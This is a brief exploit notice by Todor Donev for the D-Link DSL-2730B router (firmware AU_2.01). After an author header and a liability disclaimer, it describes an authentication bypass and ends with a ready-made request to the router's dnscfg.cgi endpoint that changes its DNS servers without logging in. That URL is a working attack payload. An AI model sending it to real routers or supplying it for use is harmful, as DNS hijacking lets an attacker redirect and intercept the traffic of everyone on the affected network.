D-Link DSL-2730B AU_2.01 
  Authentication Bypass DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

  This security hole allows an attacker to bypass 
  authentication and change the DNS. When the
  administrator is logged in the web  management 
  interface, an attacker may be able to completely 
  bypass authentication phase and connect to the 
  web management interface with administrator's 
  credentials. This attack can also be performed 
  by an external attacker who connects to the 
  router's public IP address, if remote management 
  is enabled. To change the DNS without logging 
  into web management interface use the following URL:
  
http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=